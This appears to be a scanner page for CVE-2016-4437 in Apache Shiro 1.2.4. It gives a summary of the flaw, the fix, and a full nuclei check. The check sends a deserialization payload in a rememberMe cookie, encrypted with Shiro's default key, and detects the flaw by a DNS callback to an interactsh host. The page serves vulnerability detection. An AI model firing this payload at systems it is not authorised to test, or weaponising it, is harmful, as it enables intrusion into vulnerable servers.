Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

highseverity

8.1CVSS score

93%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache Shiro before 1.2.5, when a cipher key has not been configured for the "remember me" feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter.

Impact

Remote code execution

Fix

Upgrade to a patched version of Apache Shiro

How to confirm it

Send: GET /
Positive when: contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2016-4437 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-4437

info:
  name: Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Apache Shiro before 1.2.5, when a cipher key has not been configured for the "remember me" feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter.
  impact: |
    Remote code execution
  remediation: |
    Upgrade to a patched version of Apache Shiro
  reference:
    - https://github.com/Medicean/VulApps/tree/master/s/shiro/1
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4437
    - http://packetstormsecurity.com/files/137310/Apache-Shiro-1.2.4-Information-Disclosure.html
    - http://packetstormsecurity.com/files/157497/Apache-Shiro-1.2.4-Remote-Code-Execution.html
    - http://rhn.redhat.com/errata/RHSA-2016-2035.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2016-4437
    cwe-id: CWE-284
    epss-score: 0.93039
    epss-percentile: 0.99833
    cpe: cpe:2.3:a:apache:shiro:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: shiro
  tags: cve2016,cve,apache,rce,kev,packetstorm,shiro,deserialization,oast,vkev,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: rememberMe={{base64(concat(base64_decode("QUVTL0NCQy9QS0NTNVBhZA=="),aes_cbc(base64_decode(generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")), base64_decode("kPH+bIxk5D2deZiIxcaaaA=="), base64_decode("QUVTL0NCQy9QS0NTNVBhZA=="))))}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

References

Use this check only on systems you are authorised to test. Where the data comes from